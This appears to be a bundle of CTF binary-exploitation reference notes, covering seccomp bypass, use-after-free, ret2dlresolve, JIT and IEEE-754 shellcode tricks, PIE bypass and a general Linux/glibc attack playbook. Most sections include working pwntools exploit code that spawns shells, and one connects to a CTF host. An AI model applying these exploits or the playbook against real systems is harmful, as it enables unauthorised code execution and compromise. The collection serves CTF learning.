CTF Binary Exploitation (Pwn) Quick reference for binary exploitation (pwn) CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): uv alternative: Linux (apt): Optional cross-arch (ARM/MIPS — Debian/Ubuntu): macOS (Homebrew): Ruby gems (all platforms): Manual install: - pwndbg — Linux: GitHub, macOS: - checksec — included with pwntools ( ) MCP servers (optional): WinDbg MCP (svnscha/mcp-windbg) for Windows crash dumps, live breakpoint-driven exploitation, and kernel/driver debugging; IDA Pro MCP / Ghidra MCP f…

for int 0x21 ah=0x09\nmov dx, offset buffer\nmov ah, 0x09\nint 0x21 ; print buffer\n```\n\n**Key insight:** DOS COM files have no read-only memory — the code segment is writable. DOS interrupts `int 0x21` with `ah=3d/3f/09` handle open/read/print. Any write primitive that reaches the code segment can inject executable shellcode, even at EXIT handler positions.\n\n**References:** SEC-T CTF 2017\n\n---\n\n## Seccomp BPF X-Register Addressing Mode Bypass (HITCON 2017)\n\n**Pattern:** A seccomp BPF filter uses the X-register addressing mode (opcode `0x1d`) to compare `syscall_number == rdx` (the third argument). However, `libseccomp-tools` (and older `seccomp-tools`) disassemblers do not support the X-register addressing mode, causing the filter to appear more restrictive than it actually is. Reality: if `rax` (syscall number) equals `rdx` (3rd argument) at the time of the syscall, the comparison passes and the syscall is allowed.\n\n**How to detect:**\n```bash\n# Dump BPF bytecode manually and look for opcode 0x1d (JEQ X)\n# seccomp-tools disassembly will show \"???\" or skip lines for 0x1d opcodes\n# Raw bytecode: struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }\n# code=0x1d: BPF_JMP | BPF_JEQ | BPF_X → compare A == X (X-register)\npython3 -c \"\nimport struct\ndata = open('seccomp_filter.bin','rb').read()\nfor i in range(0, len(data), 8):\n code, jt, jf, k = struct.unpack('\u003cHBBI', data[i:i+8])\n if code == 0x1d:\n print(f'[{i//8}] JEQ X jt={jt} jf={jf} (X-reg compare!)')\n\"\n```\n\n**Exploitation:**\n```python\n# Filter effectively allows: syscall if rax == rdx\n# Arrange rdx to equal the desired syscall number before the syscall instruction\n# Example: execve = 59, so set rdx = 59 and rax = 59\n# Both conditions match → filter permits the call\nrop = flat(\n pop_rdx_rbx, 59, 0, # rdx = 59 (execve)\n pop_rax, 59, # rax = 59\n pop_rdi, binsh_addr,\n pop_rsi, 0,\n syscall_ret,\n)\n```\n\n**Key insight:** Security tools that cannot decode all BPF addressing modes give false confidence — always verify filter behavior by reading raw BPF bytecode or testing empirically. The X-register mode (`JEQ X`, opcode `0x1d`) is valid BPF but rarely generated by `libseccomp`, so tools miss it.\n\n**References:** HITCON CTF 2017\n\n---\n\n## Custom Printf Format Specifier Arginfo Overwrite (Hack.lu 2017)\n\n**Pattern:** glibc's `register_printf_specifier()` stores function pointers (including an `arginfo` callback) in a heap buffer. A heap overflow overwrites the `arginfo` callback for a custom format specifier. The first field of `printf_info` passed to the `arginfo` function is `precision` — an attacker-controlled integer from `%.Ns` (where N is the precision value). Encoding a shell command as its decimal ASCII value (e.g., `26739` = `'s','h','\\0'` as little-endian bytes) causes the `arginfo` callback to receive `\"sh\"` as its string argument, achieving command execution.\n\n**Mechanism:**\n```c\n// register_printf_specifier stores:\n// handler_fn (called to produce output)\n// arginfo_fn (called to determine argument type/size)\n// Both are stored as pointers in a heap region\n\n// When printf(\"%.26739s\", ...) is called with custom specifier:\n// printf_info.precision = 26739 (= 0x6873 = 'sh' in little-endian)\n// arginfo_fn is called with &printf_info as first argument\n// If arginfo_fn = system: system((char*)&printf_info) → system(\"sh\\x00...\")\n// because the precision field at offset 0 contains the bytes 's','h','\\0'\n```\n\n**Exploitation:**\n```python\n# Overflow heap to overwrite arginfo_fn pointer with system()\n# Then trigger with precision encoding the command:\n# \"sh\" = ord('s') + ord('h') * 256 = 0x68 * 256 + 0x73 = 26739\npayload = b'%.26739s' # precision=26739, bytes: 0x73 0x68 0x00 = \"sh\\0\"\n# When custom specifier is used, arginfo(printf_info_ptr) → system(\"sh\")\n```\n\n**Key insight:** Custom printf format handlers expose `precision` and `width` as attacker-controlled integers in `printf_info`. Encoding a shell command as the decimal precision value (e.g., `26739` = `\"sh\\0\"`) causes the `arginfo` callback — if overwritten with `system()` — to execute the command. The `printf_info` struct's first field is the argument to `system()`.\n\n**References:** Hack.lu CTF 2017\n\n---\n\n## Game Genie-Style 6-Char Code for Arbitrary Binary Patching (BSidesSF 2019)\n\n**Pattern (Genius):** A loader embeds a target binary on the stack, prompts the user for two 6-character \"Game Genie\" codes, and patches two bytes per code. Each character comes from a 16-letter alphabet; bits are scattered across the six characters to encode a 16-bit offset and an 8-bit value. To exploit, reverse the bit layout to generate arbitrary `(offset, byte)` codes — here, flip `call memset` into `call system` and shift its first argument to land on an in-game `sh;` string, then play Tetris to materialise those bytes.\n\n```python\n# 16-letter alphabet maps each 4-bit nibble to a specific character\nmagic_dict = {\n 0b0000: 'A', 0b1000: 'E', 0b0100: 'G', 0b0101: 'I',\n 0b1100: 'K', 0b0011: 'L', 0b1111: 'N', 0b1001: 'O',\n 0b0001: 'P', 0b1101: 'S', 0b0110: 'T', 0b1011: 'U',\n 0b1110: 'V', 0b1010: 'X', 0b0111: 'Y', 0b0010: 'Z',\n}\n\ndef gen_input(addr, val):\n # Bits distributed across positions b1..b6; derived by reversing convert() in loader\n b1 = (val & 0b111) | ((val & 0b10000000) >> 4)\n b2 = ((val & 0b1110000) >> 4) | ((addr & 0b10000000) >> 4)\n b3 = ((addr & 0b1110000) >> 4)\n b4 = ((addr & 0b111000000000000) >> 12) | (addr & 0b1000)\n b5 = ((addr & 0b100000000000) >> 8) | (addr & 0b111)\n b6 = ((addr & 0b11100000000) >> 8) | (val & 0b1000)\n return ''.join(magic_dict[b] for b in (b1, b2, b3, b4, b5, b6))\n\n# Example: patch memset->system (0xcb -> 0x8b) and shift push-arg to reach in-game buf\ncode1 = gen_input(0x154c, 0xab) # shift 1st-arg push so call lands on \"sh;\"\ncode2 = gen_input(0x1551, 0x8b) # E8 XX XX XX XX of memset -> system (same IAT reloc)\n```\n\n**Key insight:** \"Fun\" encoding schemes (Game Genie, ROM hack tools, license-key formats) are just bit-permutation ciphers with a tiny alphabet. Derive the permutation once by reversing the checker (what bits of each character control what bits of the output), then treat the scheme as a regular arbitrary-write primitive. Pair with any gadget that picks a target (a `call` site, a GOT entry, a config byte) plus a way to materialise operand data on the stack (game state, input buffer) to land code execution.\n\n**References:** BSidesSF 2019 — genius, writeup 13709\n\n---\n\n## Go Slice Capacity Aliasing via Struct-by-Value Copy (CONFidence Teaser 2019)\n\n**Pattern (The Lottery):** Go REST service copies an `Account` struct (with a `[]int` field) by value into a lottery subsystem, then `append`s a random winning number to the *copied* slice. Slice headers are `(ptr, len, cap)`; copying a struct copies these 24 bytes but the backing array is shared. If `cap > len`, `append` writes in-place without reallocation — the write lands in the original account's backing array too. Control capacity by filling exactly `MaxLen - 1` elements so Go picks `cap=4`, call `LotteryAdd` (which copies), then `append` one more post-copy to bump `len` to 4. The lottery's `append` now writes slot 3 of the *shared* array, making the caller a millionaire.\n\n```go\n// Go slice header:\n// type slice struct { ptr unsafe.Pointer; len int; cap int }\n// Append grows the backing array only if len == cap.\n\nfunc HackLottery() {\n s := NewService(ctx, time.Millisecond, time.Minute)\n a, _ := s.AccountAdd()\n\n // len=1, cap=1 -> len=2, cap=2 -> len=3, cap=4 (Go's growth heuristic)\n s.AccountAddAmount(a.Name, 90)\n s.AccountAddAmount(a.Name, 90)\n s.AccountAddAmount(a.Name, 90) // Amounts = [90,90,90], cap=4\n\n s.LotteryAdd(a.Name) // Struct copy; slice header cloned\n s.AccountAddAmount(a.Name, 90) // extend original: len=4, cap=4 (no realloc)\n\n // Lottery's append sees cap=4 on its copy too -> in-place write to shared array:\n s.lottery.evaluate() // Amounts[3] = randInt(999913, 3700000)\n\n a, _, _ = s.AccountGet(a.Name)\n fmt.Println(a.Amounts) // [90 90 90 1723342] -> millionaire\n}\n```\n\n**Key insight:** Passing a Go struct by value does *not* deep-copy its slice fields; the header is copied but the backing array is shared. Whenever `append` is invoked on either copy, it reallocates only when `len == cap`. Engineer the pre-copy state so `cap > len`, and the callee's `append` silently mutates caller-visible memory — a data race-free way to break \"immutability by copy\" in audit. The same trick applies to maps (always shared by reference) and to interface-wrapped slices.\n\n**References:** CONFidence CTF 2019 Teaser — The Lottery, writeup 13961\n\n---\n\nSee [advanced-exploits-2.md](advanced-exploits-2.md) for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.\n\nSee [advanced-exploits-3.md](advanced-exploits-3.md) for stack variable overlap, 1-byte overflow via 8-bit loop counter, game AI arithmetic mean OOB read, arbitrary read/write GOT overwrite, stack leak via __environ + memcpy overflow, JIT sandbox uint16 jump truncation, DNS compression pointer overflow, and ELF signing bypass via program header manipulation.\n\nSee [advanced-exploits-5.md](advanced-exploits-5.md) for data-interpretation exploitation (Chip-8 emulator OOB ret2libc, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":35834,"content_sha256":"4e2733869d6651932fe96248b2d1240be79f919458c5e9b0b24c3600ed4c19be"},{"filename":"advanced.md","content":"# CTF Pwn - Advanced Techniques\n\n## Table of Contents\n- [Seccomp Advanced Techniques](#seccomp-advanced-techniques)\n - [openat2 Bypass (New Age Pattern)](#openat2-bypass-new-age-pattern)\n - [Conditional Buffer Address Restrictions](#conditional-buffer-address-restrictions)\n - [Shellcode Construction Without Relocations (pwntools)](#shellcode-construction-without-relocations-pwntools)\n - [Seccomp Analysis from Disassembly](#seccomp-analysis-from-disassembly)\n- [rdx Control in ROP Chains](#rdx-control-in-rop-chains)\n- [Use-After-Free (UAF) Exploitation](#use-after-free-uaf-exploitation)\n- [JIT Compilation Exploits](#jit-compilation-exploits)\n- [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)\n- [Heap Overlap via Base Conversion](#heap-overlap-via-base-conversion)\n- [Tree Data Structure Stack Underallocation](#tree-data-structure-stack-underallocation)\n- [ret2dlresolve](#ret2dlresolve)\n- [Kernel Exploitation](#kernel-exploitation) (basic; see [kernel.md](kernel.md) for full coverage)\n- [9-Byte test+je Timing Leak (hxp 2018)](#9-byte-testje-timing-leak-hxp-2018)\n- [RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)](#rtlcapturecontext-deterministic-windows-stack-leak-insomnihack-2017)\n- [IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)](#ieee-754-double-as-shellcode-via-exponent-fixing-kaspersky-2018)\n- [PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)](#pie-bypass-via-consistent-glibc-load-base-0x56555000-tamuctf-2019)\n\n**See also:** [heap-techniques.md](heap-techniques.md) — House of Apple 2, House of Einherjar, House of Orange/Spirit/Lore/Force, heap grooming, custom allocator exploitation (nginx, talloc), classic unlink, musl libc heap, tcache stashing unlink\n\n---\n\n## Seccomp Advanced Techniques\n\n### openat2 Bypass (New Age Pattern)\n\n`openat2` (syscall 437, Linux 5.6+) frequently missed in seccomp filters blocking `open`/`openat`:\n```python\n# struct open_how { u64 flags; u64 mode; u64 resolve; } = 24 bytes\n# openat2(AT_FDCWD, filename, &open_how, sizeof(open_how))\n```\n\n### Conditional Buffer Address Restrictions\n\nSeccomp `SCMP_CMP_LE`/`SCMP_CMP_GE` on buffer addresses:\n- `read()` KILL if buf \u003c= code_region + X → read to high addresses\n- `write()` KILL if buf >= code_region + Y → write from low addresses\n\n**Bypass:** Read into allowed region, `rep movsb` copy to write-allowed region:\n```nasm\nlea rsi, [r14 + 0xc01] ; buf > code_region+0xc00 (passes read check)\nxor rax, rax ; __NR_read\nsyscall\nmov r13, rax\nlea rsi, [r14 + 0xc01] ; src (high)\nlea rdi, [r14 + 0x200] ; dst (low, \u003c code_region+0x400)\nmov rcx, r13\nrep movsb\nmov rdi, 1\nlea rsi, [r14 + 0x200] ; buf \u003c code_region+0x400 (passes write check)\nmov rdx, r13\nmov rax, 1 ; __NR_write\nsyscall\n```\n\n### Shellcode Construction Without Relocations (pwntools)\n\npwntools `asm()` fails with forward label references. Fix with manual jmp/call:\n\n```python\nbody = asm('''\n pop rbx /* rbx = address after call instruction */\n mov r14, rbx\n and r14, -4096 /* page-align for code_region base */\n mov rsi, rbx /* filename pointer */\n /* ... rest of shellcode ... */\nfail:\n mov rdi, 1\n mov rax, 60\n syscall\n''')\ncall_offset = -(len(body) + 5)\ncall_instr = b'\\xe8' + p32(call_offset & 0xffffffff)\njmp_instr = b'\\xeb' + bytes([len(body)]) if len(body) \u003c 128 else b'\\xe9' + p32(len(body))\nshellcode = jmp_instr + body + call_instr + b\"filename.txt\\x00\"\n# call pushes filename address onto stack, pop rbx retrieves it\n```\n\n### Seccomp Analysis from Disassembly\n\n```c\nseccomp_rule_add(ctx, action, syscall_nr, arg_count, ...)\n```\n\n`scmp_arg_cmp` struct: `arg` (+0x00, uint), `op` (+0x04, int), `datum_a` (+0x08, u64), `datum_b` (+0x10, u64)\n\nSCMP_CMP operators: `NE=1, LT=2, LE=3, EQ=4, GE=5, GT=6, MASKED_EQ=7`\n\nDefault action `0x7fff0000` = `SCMP_ACT_ALLOW`\n\n---\n\n## rdx Control in ROP Chains\n\nSee [rop-and-shellcode.md](rop-and-shellcode.md#rdx-control-in-rop-chains) for full details and code examples.\n\n---\n\n## Use-After-Free (UAF) Exploitation\n\n**Pattern:** Menu create/delete/view where `free()` doesn't NULL pointer.\n\n**Classic UAF flow:**\n1. Create object A (allocates chunk with function pointer)\n2. Leak address via inspect/view (bypass PIE)\n3. Free object A (creates dangling pointer)\n4. Allocate object B of **same size** (reuses freed chunk via tcache)\n5. Object B data overwrites A's function pointer with `win()` address\n6. Trigger A's callback -> jumps to `win()`\n\n**Key insight:** Both structs must be the same size for tcache to reuse the chunk.\n\n```python\ncreate_report(\"sighting-0\") # 64-byte struct with callback ptr at +56\nleak = inspect_report(0) # Leak callback address for PIE bypass\npie_base = leak - redaction_offset\nwin_addr = pie_base + win_offset\n\ndelete_report(0) # Free chunk, dangling pointer remains\ncreate_signal(b\"A\"*56 + p64(win_addr)) # Same-size struct overwrites callback\nanalyze_report(0) # Calls dangling pointer -> win()\n```\n\n---\n\n## JIT Compilation Exploits\n\n**Pattern (Santa's Christmas Calculator):** Off-by-one in instruction encoding causes misaligned machine code.\n\n**Exploitation flow:**\n1. Find the boundary value that triggers wrong instruction form (e.g., 128 vs 127)\n2. Misaligned bytes become executable instructions\n3. Control `rax` to survive invalid dereferences (point to writable memory)\n4. Embed shellcode as operand bytes of subtraction operations\n5. Chain 4-byte shellcode blocks with 2-byte `jmp` instructions between them\n\n**2-byte instruction shellcode tricks:**\n- `push rdx; pop rsi` = `mov rsi, rdx` in 2 bytes\n- `xor eax, eax` = 2 bytes (set syscall number)\n- `not dl` = 2 bytes (adjust pointer)\n- Use `sys_read` to stage full shellcode on RWX page, then jump to it\n\n## Esoteric Language GOT Overwrite\n\n**Pattern (Pikalang):** Brainfuck/Pikalang interpreter with unbounded tape allows arbitrary memory access.\n\n**Exploitation:**\n1. Tape pointer starts at known buffer address\n2. Move pointer backward/forward to reach GOT entry (e.g., `strlen@GOT`)\n3. Overwrite GOT entry byte-by-byte with `system()` address\n4. Next call to overwritten function triggers `system(controlled_string)`\n\n**Key insight:** Unbounded tape = arbitrary read/write primitive relative to buffer base.\n\n## Heap Overlap via Base Conversion\n\n**Pattern (Santa's Base Converter):** Number stored as string in different bases has different lengths.\n\n**Exploitation:**\n1. Store number in base with short representation (e.g., base-36)\n2. Convert to base with longer representation (e.g., base-2/binary)\n3. Longer string overflows into adjacent heap chunk metadata\n4. Corrupted chunk overlaps with target allocation\n\n**Limited charset constraint:** Only digits/letters available (0-9, a-z) limits writable byte values.\n\n## Tree Data Structure Stack Underallocation\n\n**Pattern (Christmas Trees):** Imbalanced binary tree causes stack buffer underallocation.\n\n**Vulnerability:** Stack allocation based on balanced tree assumption (`2^depth` nodes), but actual traversal of imbalanced tree uses more stack than allocated buffer, causing overflow.\n\n**Exploitation:** Craft tree structure that causes traversal to overflow buffer → overwrite return address → ret2win (partial overwrite if PIE).\n\n---\n\n## ret2dlresolve\n\n**Pattern:** Forge `Elf64_Sym` and `Elf64_Rela` structures to trick the dynamic linker into resolving an arbitrary function (e.g., `system`) at the next PLT call. Bypasses ASLR without any libc leak.\n\n```python\nfrom pwn import *\n\n# pwntools has built-in ret2dlresolve support\nrop = ROP(elf)\ndlresolve = Ret2dlresolvePayload(elf, symbol=\"system\", args=[\"/bin/sh\"])\n\nrop.read(0, dlresolve.data_addr) # Read forged structures to known address\nrop.ret2dlresolve(dlresolve) # Trigger resolution\n\n# Stage 1: Send ROP chain\nio.sendline(flat({offset: rop.chain()}))\n\n# Stage 2: Send forged dl-resolve payload\nio.sendline(dlresolve.payload)\n```\n\n**Manual approach (understanding the internals):**\n```python\n# Forge at a writable address (e.g., .bss)\n# 1. Fake Elf64_Rela: points PLT slot to our fake Elf64_Sym\n# 2. Fake Elf64_Sym: st_name offset points to our \"system\" string\n# 3. \"system\\x00\" string\n\nSYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')\nSTRTAB = elf.dynamic_value_by_tag('DT_STRTAB')\nJMPREL = elf.dynamic_value_by_tag('DT_JMPREL')\n\n# Calculate reloc_index so PLT stub pushes correct index\nreloc_index = (fake_rela_addr - JMPREL) // 0x18 # sizeof(Elf64_Rela)\n\n# Fake Elf64_Sym.st_name = offset from STRTAB to our \"system\" string\nfake_sym_st_name = fake_string_addr - STRTAB\n```\n\n**Key insight:** ret2dlresolve works without ANY leak. It exploits the lazy binding mechanism: when a PLT function is called for the first time, the dynamic linker looks up the symbol name and resolves it. By forging the lookup structures, you can make it resolve any libc function. Use pwntools' `Ret2dlresolvePayload` for automation.\n\n**Requirements:** Partial RELRO (Full RELRO resolves all symbols at load time, defeating this). Writable memory to place forged structures.\n\n---\n\n## Kernel Exploitation\n\nFor comprehensive kernel exploitation techniques, see [kernel.md](kernel.md). Quick reference:\n\n- `modprobe_path` overwrite for root code execution (requires AAW)\n- `tty_struct` kROP via fake vtable and stack pivot\n- `userfaultfd` for deterministic race conditions\n- Heap spray with `tty_struct`, `poll_list`, `user_key_payload`, `seq_operations`\n- KASLR/FGKASLR/SMEP/SMAP/KPTI bypass techniques\n- Kernel config recon checklist\n\n**Basic patterns (userland-adjacent):**\n- OOB via vulnerable `lseek` handlers\n- Heap grooming with forked processes\n- SUID binary exploitation via kernel-to-userland buffer overflow\n- Check kernel config for disabled protections:\n - `CONFIG_SLAB_FREELIST_RANDOM=n` → sequential heap chunks\n - `CONFIG_SLAB_MERGE_DEFAULT=n` → predictable allocations\n\n---\n\n## 9-Byte test+je Timing Leak (hxp 2018)\n\n**Pattern:** The shellcode slot is only 9 bytes — too small for a full read/write. Write a 7-byte `test BYTE PTR [rip+0x2], imm8` followed by a 2-byte `je 0` (infinite loop on zero flag). Read the flag one bit at a time by flipping the immediate, then close the socket and measure round-trip time: `\u003c2 s` = crashed (bit differs from imm), `>2 s` = hung (bit matches, loop fired).\n\n```asm\nf6 05 02 00 00 00 X test BYTE PTR [rip+0x2], X\n74 fe je 0\n```\n\n**Key insight:** Tiny shellcode budgets can still leak a full flag if you turn the loop / crash distinction into a 1-bit channel. Any operation that hangs on one branch and crashes on the other works — `hlt`, page faults, or explicit infinite loops.\n\n**References:** hxp CTF 2018 — yunospace, writeup 12570\n\n---\n\n## RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)\n\n**Pattern:** Need a stack leak on Windows with ASLR but no format string. `ntdll!RtlCaptureContext(&ctx)` writes the current register set (including `Rsp`) into a user-supplied `CONTEXT` struct. Call it once from attacker-chosen code, then read `ctx.Rsp` from the same buffer.\n\n```c\nCONTEXT ctx;\nRtlCaptureContext(&ctx);\nprintf(\"rsp = %p\\n\", (void*)ctx.Rsp);\n```\n\n**Key insight:** Windows NT API has several \"dump register state\" helpers intended for unwinding and exception handling. They behave as deterministic info-leak primitives for exploitation because they copy `RSP` verbatim into user memory with no randomisation.\n\n**References:** Insomnihack 2017 — winworld, writeup 12876\n\n---\n\n## IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)\n\n**Pattern:** Challenge writes exactly six 8-byte IEEE 754 doubles into a buffer and then computes `(d1 + d2 + d3 + d4 + d5 + d6) / 6` — the result is executed. Force every summand to have exponent bits `0x4330` (`1075 = 1023 + 52`), which gives an exactly-representable 52-bit integer, so double addition behaves like integer addition with no rounding. Encode the target shellcode as an integer, pick `d6` so the sum hits it exactly.\n\n```python\ndef shellcode_to_double(bytes_):\n # Pin exponent so the payload bits are preserved\n return struct.unpack('d', b'\\x30\\x43' + bytes_[:6])[0]\n\nd1 = shellcode_to_double(sc[ 0: 6])\nd2 = shellcode_to_double(sc[ 6:12])\nd3 = shellcode_to_double(sc[12:18])\nd4 = shellcode_to_double(sc[18:24])\nd5 = shellcode_to_double(sc[24:30])\n# d6 chosen so 6*target == d1+d2+d3+d4+d5+d6\ntarget_int = int_from_shellcode(sc_full)\nd6 = 6*target_int - (d1_int + d2_int + d3_int + d4_int + d5_int)\n```\n\n**Key insight:** IEEE 754 doubles are lossless integer containers whenever the exponent field is fixed at `bias + 52`. Any \"you can only write N doubles\" primitive is equivalent to \"you can write N×6 bytes of raw data\", as long as you control the exponent bits. Works identically for 32-bit floats (`bias + 23`) and long doubles.\n\n**References:** Kaspersky Industrial CTF 2018 — doubles, writeups 12324, 12326\n\n---\n\n## PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)\n\n**Pattern (pwn2):** PIE-enabled 32-bit ELF with no leak primitive. A function pointer on the stack is called after `strcpy`ing user input into a 30-byte buffer; overwriting the pointer lets us pick any code target — but the randomised base normally blocks picking `print_flag`. Observation: on the challenge runtime (and many default glibc configurations for i386 PIE binaries), the loader places the executable at the fixed base `0x56555000` across runs. That makes PIE effectively a known-offset: `print_flag = 0x56555000 + 0x6dc`, reachable without any leak.\n\n```python\n# `gdb -q ./pwn2` -> `info proc mappings`\n# 0x56555000 0x56556000 0x1000 0x0 ./pwn2\n# 0x56556000 0x56557000 0x1000 0x0 ./pwn2\n# print_flag symbol offset: 0x6dc\n\nfrom pwn import *\n\nPIE_BASE = 0x56555000\nprint_flag = PIE_BASE + 0x6dc\n\npayload = cyclic(30) # buffer(30) -> reaches the fn pointer slot\npayload += p32(print_flag) # overwrite var_C called after strcmp\nio = remote('pwn.tamuctf.com', 4322)\nio.sendline(payload)\nio.interactive()\n```\n\n**Key insight:** 32-bit PIE on many distros emits `ET_DYN` with a stock `mmap_base` of `0x56555000` because `brk_randomization` and ASLR entropy are minimal. If `info proc mappings` shows the same base across multiple runs (in the challenge container or in gdb with `set disable-randomization on`), treat the \"random\" base as a constant. Always enumerate map bases before assuming a leak is required — the same trick applies to stacks started under `ulimit -s unlimited` (base becomes `0x7fff_f000` deterministically).\n\n**References:** TAMUctf 2019 — pwn2, writeup 13423\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14624,"content_sha256":"5e9bf0274def31a7288d0d2aaa0e1ffa66fb0d03dc53a124a96b60dcbb030328"},{"filename":"attack-playbook.md","content":"# Linux Userland Attack Playbook\n\nUse this as the workflow view for a Linux/glibc target. It answers *what to look for* and *which primitive to pursue*; use the linked technique notes for full payloads, version-specific bypasses, and CTF writeups.\n\n## Recon\n\nEnumerate input and privilege boundaries before choosing an exploit path:\n\n- Arguments and environment: `argv`, `getopt()`, `getenv()`, `LD_PRELOAD`, `PATH`.\n- Files: attacker-selected `fopen()`/`read()` paths and configuration files such as `/etc/program.conf` or `~/.config/...`.\n- Standard input: `read()` and `fgets()` loops.\n- Network sockets: `accept()`, `recv()`, and `recvfrom()`.\n- IPC: D-Bus, Unix-domain sockets, and shared memory.\n- Privilege boundary: SUID/SGID state and whether the process changes UID/EUID.\n- Event paths: signal handlers (`SIGUSR*`, `SIGALRM`, ...) and any signal-unsafe code.\n- Pseudo-filesystem interfaces: values read from `/proc` or `/sys`.\n\nRecord which entry point reaches dangerous allocations, copies, format sinks, dereferences, or privileged operations. A bug that is hard to reach is usually worse than a stronger primitive that is unreachable.\n\nStatic signals from ELF metadata, libc build, and protection tooling can rank candidate primitives, but they do not prove exploitability by themselves. When the request asks for exploitability or security impact, read [static-signals.md](static-signals.md) before choosing a route.\n\n## Leak Selection\n\nIdentify the smallest leak that defeats the mitigations actually enabled by the target:\n\n| Secret | Useful sources |\n| --- | --- |\n| libc | unsorted/small/large-bin `fd`/`bk`, stack return paths, writable function pointers, heap/stack residue, FILE structures |\n| heap | tcache/fastbin/largebin metadata, stack residue, TLS |\n| stack | uninitialized stack, saved frames, libc `__environ` |\n| canary | uninitialized/overread stack, TLS |\n| binary | stack residue and function/data pointers with binary offsets |\n| memory map | file-read primitive against `/proc/self/maps` |\n\nCommon ways to obtain a leak:\n\n- Read an uninitialized heap or stack allocation.\n- Use a format-string bug.\n- Turn FILE corruption into an arbitrary read.\n- Turn an overflow or arbitrary allocation into an overread.\n- Combine a write primitive with an object that later prints or copies from it.\n\nFor libc identification, use the database linked from [format-string.md](format-string.md#format-string-basics). For full format-string mechanics, see [format-string.md](format-string.md).\n\n## Control-Flow and Write Targets\n\nChoose the target after checking binary protections, libc version, and the strength of the write primitive:\n\n| Write target | Typical condition |\n| --- | --- |\n| return address | controllable stack write or overflow |\n| binary GOT | Partial RELRO |\n| libc GOT | version-dependent; verify against the target libc |\n| malloc/free/realloc hooks | glibc \u003c 2.34 |\n| FILE vtable | older glibc; modern targets usually require a validated-vtable bypass |\n| FILE wide vtable | viable on modern glibc |\n| binary function pointer / `fini_array` | binary-specific writable target |\n| `l_addr` plus a function pointer | binary-specific base/pointer combination |\n\nPayload selection:\n\n- **ROP** when gadget addresses and stack control are available.\n- **SROP** when a sigreturn trigger can replace many gadget requirements.\n- **One gadget** when its register/stack constraints can be met.\n- **`system(\"/bin/sh\")`** when `/bin/sh` can be placed in `rdi` and stack alignment is preserved.\n\nVersion-specific modern-libc chains: [nobodyisnobody/docs](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc) and [n132/Libc-GOT-Hijacking](https://github.com/n132/Libc-GOT-Hijacking).\n\n## Route To A Technique\n\n| Situation | Canonical deep dive |\n| --- | --- |\n| Input reaches `printf`/`sprintf`/`syslog` as a format | [format-string.md](format-string.md) |\n| Corruption reaches `_IO_FILE`, especially on Full RELRO | [heap-fsop.md](heap-fsop.md) |\n| Bug is tcache/fastbin/unsorted/largebin or allocator metadata | [heap-techniques.md](heap-techniques.md) |\n| Need stack pivot, ret2libc, syscall ROP, or shellcode | [rop-and-shellcode.md](rop-and-shellcode.md) |\n| Need SROP, modern ROP, vDSO, or seccomp evasion | [rop-advanced.md](rop-advanced.md) |\n| Need exact stack/canary behavior or partial overflows | [overflow-basics.md](overflow-basics.md) |\n\n## Payload Checklist\n\n- **Stack pivot:** use controlled `rbp` plus `leave`, or `mov rsp, \u003creg>`; pivot to input, BSS, heap, or residual stack only after proving read/write/execute expectations.\n- **ROP:** preserve 16-byte stack alignment; use `ret` as padding, `setcontext` for broad register control, and existing vtable/function pointers when useful.\n- **Shellcode:** prefer existing RWX when present; otherwise `mprotect`/`mmap` through ROP. For filters, consider null-free, alphanumeric, staged, self-modifying, and carefully encoded ModR/M forms.\n- **Partial overwrite:** overwrite only trailing bytes when the nearby code/data differs by known low bits; account for brute-force probability.\n- **Seccomp:** enumerate allowed syscalls, look for equivalent calls, and use ORW when execution is blocked. See [advanced.md](advanced.md#seccomp-advanced-techniques).\n- **TLS:** corruption can expose the canary, tcache state, stack guard, or destructor pointers; see the allocator notes in [heap-techniques.md](heap-techniques.md#heap-exploitation).\n- **Environment variables:** check whether they alter libc/application behavior, disable or shape caching behavior, fill payloads, or make layout predictable.\n- **Blind brute force:** use distinguishable crash/hang/output timing when no direct oracle exists; budget attempts before choosing another primitive.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":5762,"content_sha256":"bf1ba5367f8537649befcc8225b2d183409adefcbe36eb6067709eb869b8e643"},{"filename":"field-notes.md","content":"# Pwn Field Notes\n\nDetailed pwn notes that support [`SKILL.md`](SKILL.md). Read this file after confirming the challenge really needs exploitation.\n\n## Table of Contents\n\n- [Heap Exploitation](#heap-exploitation)\n- [Additional Exploit Notes](#additional-exploit-notes)\n - [talloc Pool Header Forgery](#talloc-pool-header-forgery)\n - [JIT Compilation Exploits](#jit-compilation-exploits)\n - [Type Confusion in Interpreters](#type-confusion-in-interpreters)\n - [Off-by-One Index / Size Corruption](#off-by-one-index--size-corruption)\n - [Double win() Call](#double-win-call)\n - [Arbitrary Read/Write to Shell via GOT Overwrite](#arbitrary-readwrite-to-shell-via-got-overwrite)\n - [Stack Leak via __environ and memcpy Overflow](#stack-leak-via-__environ-and-memcpy-overflow)\n - [JIT Sandbox Escape via uint16 Jump Truncation](#jit-sandbox-escape-via-uint16-jump-truncation)\n - [DNS Compression Pointer Stack Overflow](#dns-compression-pointer-stack-overflow)\n - [ELF Code Signing Bypass via Program Headers](#elf-code-signing-bypass-via-program-headers)\n - [Game Level Format Signed/Unsigned Coordinate Mismatch](#game-level-format-signedunsigned-coordinate-mismatch)\n - [File Descriptor Inheritance via Missing O_CLOEXEC](#file-descriptor-inheritance-via-missing-o_cloexec)\n - [Sign Extension Integer Underflow in Metadata Parsing](#sign-extension-integer-underflow-in-metadata-parsing)\n - [ROP Chain Construction with Read-Only 